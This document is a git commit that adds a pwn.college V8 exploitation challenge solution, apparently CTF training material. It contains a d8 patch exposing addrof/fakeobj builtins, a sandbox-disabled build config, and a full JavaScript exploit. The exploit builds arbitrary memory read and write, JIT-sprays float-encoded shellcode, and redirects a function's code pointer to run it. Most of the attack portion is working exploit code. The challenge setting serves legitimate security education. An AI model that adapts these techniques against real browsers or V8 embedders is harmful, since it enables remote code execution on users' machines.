Moved JavaScript/PwnCollegeV8Exploitation/ to PwnCollege/V8Exploitation/
This commit is contained in:
104
PwnCollege/V8Exploitation/Level3/Exploit.js
Normal file
104
PwnCollege/V8Exploitation/Level3/Exploit.js
Normal file
@@ -0,0 +1,104 @@
|
||||
// Integrated Builtin:
|
||||
// - int32 GetAddressOf(HeapObject obj);
|
||||
// - HeapObject GetFakeObject(int32 addr);
|
||||
|
||||
let ab = new ArrayBuffer(8);
|
||||
let f64a = new Float64Array(ab, 0, 1);
|
||||
let i32a = new Uint32Array(ab, 0, 2);
|
||||
let si32a = new Int32Array(ab, 0, 2);
|
||||
let bi64a = new BigUint64Array(ab, 0, 1);
|
||||
|
||||
function c2f(low, high) { // combined (two 4 bytes) word to float
|
||||
i32a[0] = low;
|
||||
i32a[1] = high;
|
||||
return f64a[0];
|
||||
}
|
||||
|
||||
function b2f(v) { // bigint to float
|
||||
bi64a[0] = v;
|
||||
return f64a[0];
|
||||
}
|
||||
|
||||
function f2b(v) { // float to bigint
|
||||
f64a[0] = v;
|
||||
return bi64a[0];
|
||||
}
|
||||
|
||||
function unptr(v) {
|
||||
return v & 0xfffffffe;
|
||||
}
|
||||
|
||||
function ptr(v) {
|
||||
return v | 1;
|
||||
}
|
||||
|
||||
function shellcode() { // Promote to ensure not GC during training
|
||||
// JIT spray machine code form of `execve("catflag", NULL, NULL)`
|
||||
return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
|
||||
}
|
||||
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
|
||||
|
||||
// Create a PACKED_DOUBLE_ELEMENTS array contains faked PACKED_DOUBLE_ELEMENTS array
|
||||
// map, properties, elements, length --- first three field are static roots
|
||||
var arr = [c2f(0x001cb8a5, 0x00000725), c2f(0x00000725, 0x00008000)];
|
||||
// %SystemBreak();
|
||||
var arr_addr = GetAddressOf(arr);
|
||||
console.log("Address of arr: " + arr_addr.toString(16));
|
||||
var fakearr = GetFakeObject(arr_addr + 0x54); // Heap Fengshui
|
||||
// %DebugPrint(fakearr);
|
||||
// %SystemBreak();
|
||||
|
||||
|
||||
// QWORD Aligned
|
||||
function ArbRead64(cage_addr) { // int32
|
||||
if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
|
||||
arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000);
|
||||
let result = f2b(fakearr[0]);
|
||||
console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
|
||||
return result;
|
||||
}
|
||||
|
||||
// QWORD Aligned
|
||||
function ArbWrite64(cage_addr, value) { // int32, bigint
|
||||
if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
|
||||
arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000);
|
||||
let written = b2f(value);
|
||||
fakearr[0] = written;
|
||||
console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
|
||||
}
|
||||
|
||||
// ArbRead64(0xfffffff0);
|
||||
// ArbWrite64(0x1230, 0x1234n);
|
||||
|
||||
// DWORD Aligned
|
||||
function ArbRead32(cage_addr) { // int32 -> int32
|
||||
if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
|
||||
bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
|
||||
let result = i32a[(cage_addr & 0x4) >> 2];
|
||||
console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
|
||||
return result;
|
||||
}
|
||||
|
||||
// DWORD Aligned
|
||||
function ArbWrite32(cage_addr, value) { // int32, int32 -> void
|
||||
if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
|
||||
let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
|
||||
bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
|
||||
i32a[(cage_addr & 0x4) >> 2] = value;
|
||||
ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
|
||||
console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
|
||||
}
|
||||
|
||||
// %DebugPrint(arr);
|
||||
// %SystemBreak();
|
||||
|
||||
let shellcode_addr = GetAddressOf(shellcode);
|
||||
console.log("Address of shellcode: " + shellcode_addr.toString(16));
|
||||
// %DebugPrint(shellcode);
|
||||
let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
|
||||
console.log("Address of code: " + code_addr.toString(16));
|
||||
let instruction_start_addr = code_addr + 0x14;
|
||||
let instruction_start = ArbRead32(instruction_start_addr);
|
||||
console.log("instruction_start: " + instruction_start.toString(16));
|
||||
ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
|
||||
shellcode();
|
||||
15
PwnCollege/V8Exploitation/Level3/README.md
Normal file
15
PwnCollege/V8Exploitation/Level3/README.md
Normal file
@@ -0,0 +1,15 @@
|
||||
# Level 3
|
||||
|
||||
## Problem
|
||||
|
||||
Given the following primitves:
|
||||
- AddressOf
|
||||
- FakeObject
|
||||
|
||||
## Key Knowledge
|
||||
|
||||
- [Fast properties in V8](https://v8.dev/blog/fast-properties)
|
||||
- [Static Roots: Objects with Compile-Time Constant Addresses](https://v8.dev/blog/static-roots)
|
||||
- Use AddressOf & FakeObject to Construct Arbitrary Address Read & Write
|
||||
- [Exploiting v8: *CTF 2019 oob-v8](https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/)
|
||||
- Know V8 Heap Fengshui by using native syntax
|
||||
1
PwnCollege/V8Exploitation/Level3/REVISION
Normal file
1
PwnCollege/V8Exploitation/Level3/REVISION
Normal file
@@ -0,0 +1 @@
|
||||
5a2307d0f2c5b650c6858e2b9b57b335a59946ff
|
||||
10
PwnCollege/V8Exploitation/Level3/args.gn
Normal file
10
PwnCollege/V8Exploitation/Level3/args.gn
Normal file
@@ -0,0 +1,10 @@
|
||||
is_component_build = false
|
||||
is_debug = false
|
||||
target_cpu = "x64"
|
||||
v8_enable_sandbox = false
|
||||
v8_enable_backtrace = true
|
||||
v8_enable_disassembler = true
|
||||
v8_enable_object_print = true
|
||||
dcheck_always_on = false
|
||||
use_goma = false
|
||||
v8_code_pointer_sandboxing = false
|
||||
108
PwnCollege/V8Exploitation/Level3/patch
Normal file
108
PwnCollege/V8Exploitation/Level3/patch
Normal file
@@ -0,0 +1,108 @@
|
||||
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
|
||||
index facf0d86d79..0299ed26802 100644
|
||||
--- a/src/d8/d8.cc
|
||||
+++ b/src/d8/d8.cc
|
||||
@@ -1283,6 +1283,52 @@ struct ModuleResolutionData {
|
||||
|
||||
} // namespace
|
||||
|
||||
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
|
||||
+ v8::Isolate* isolate = info.GetIsolate();
|
||||
+
|
||||
+ if (info.Length() == 0) {
|
||||
+ isolate->ThrowError("First argument must be provided");
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
+ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
|
||||
+ if (!IsHeapObject(*arg)) {
|
||||
+ isolate->ThrowError("First argument must be a HeapObject");
|
||||
+ return;
|
||||
+ }
|
||||
+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
|
||||
+
|
||||
+ uint32_t address = static_cast<uint32_t>(obj->address());
|
||||
+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
|
||||
+}
|
||||
+
|
||||
+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
|
||||
+ v8::Isolate *isolate = info.GetIsolate();
|
||||
+ Local<v8::Context> context = isolate->GetCurrentContext();
|
||||
+
|
||||
+ if (info.Length() != 1) {
|
||||
+ isolate->ThrowError("Need exactly one argument");
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
+ Local<v8::Uint32> arg;
|
||||
+ if (!info[0]->ToUint32(context).ToLocal(&arg)) {
|
||||
+ isolate->ThrowError("Argument must be a number");
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
+ uint32_t addr = arg->Value();
|
||||
+
|
||||
+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
|
||||
+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
|
||||
+ uint64_t full_addr = base_addr + (uint64_t)addr;
|
||||
+
|
||||
+ internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
|
||||
+ internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
|
||||
+ internal::Handle<internal::Object> obj_handle(obj, i_isolate);
|
||||
+ info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
|
||||
+}
|
||||
+
|
||||
void Shell::ModuleResolutionSuccessCallback(
|
||||
const FunctionCallbackInfo<Value>& info) {
|
||||
DCHECK(i::ValidateCallbackInfo(info));
|
||||
@@ -3364,7 +3410,11 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
|
||||
|
||||
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
|
||||
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
|
||||
- global_template->Set(Symbol::GetToStringTag(isolate),
|
||||
+ global_template->Set(isolate, "GetAddressOf",
|
||||
+ FunctionTemplate::New(isolate, GetAddressOf));
|
||||
+ global_template->Set(isolate, "GetFakeObject",
|
||||
+ FunctionTemplate::New(isolate, GetFakeObject));
|
||||
+/* global_template->Set(Symbol::GetToStringTag(isolate),
|
||||
String::NewFromUtf8Literal(isolate, "global"));
|
||||
global_template->Set(isolate, "version",
|
||||
FunctionTemplate::New(isolate, Version));
|
||||
@@ -3385,13 +3435,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
|
||||
global_template->Set(isolate, "readline",
|
||||
FunctionTemplate::New(isolate, ReadLine));
|
||||
global_template->Set(isolate, "load",
|
||||
- FunctionTemplate::New(isolate, ExecuteFile));
|
||||
+ FunctionTemplate::New(isolate, ExecuteFile));*/
|
||||
global_template->Set(isolate, "setTimeout",
|
||||
FunctionTemplate::New(isolate, SetTimeout));
|
||||
// Some Emscripten-generated code tries to call 'quit', which in turn would
|
||||
// call C's exit(). This would lead to memory leaks, because there is no way
|
||||
// we can terminate cleanly then, so we need a way to hide 'quit'.
|
||||
- if (!options.omit_quit) {
|
||||
+/* if (!options.omit_quit) {
|
||||
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
|
||||
}
|
||||
global_template->Set(isolate, "testRunner",
|
||||
@@ -3410,7 +3460,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
|
||||
if (i::v8_flags.expose_async_hooks) {
|
||||
global_template->Set(isolate, "async_hooks",
|
||||
Shell::CreateAsyncHookTemplate(isolate));
|
||||
- }
|
||||
+ }*/
|
||||
|
||||
return global_template;
|
||||
}
|
||||
diff --git a/src/d8/d8.h b/src/d8/d8.h
|
||||
index a19d4a0eae4..fbb091afbaf 100644
|
||||
--- a/src/d8/d8.h
|
||||
+++ b/src/d8/d8.h
|
||||
@@ -507,6 +507,8 @@ class Shell : public i::AllStatic {
|
||||
};
|
||||
enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
|
||||
|
||||
+ static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
|
||||
+ static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args);
|
||||
static bool ExecuteString(Isolate* isolate, Local<String> source,
|
||||
Local<String> name,
|
||||
ReportExceptions report_exceptions,
|
||||
Reference in New Issue
Block a user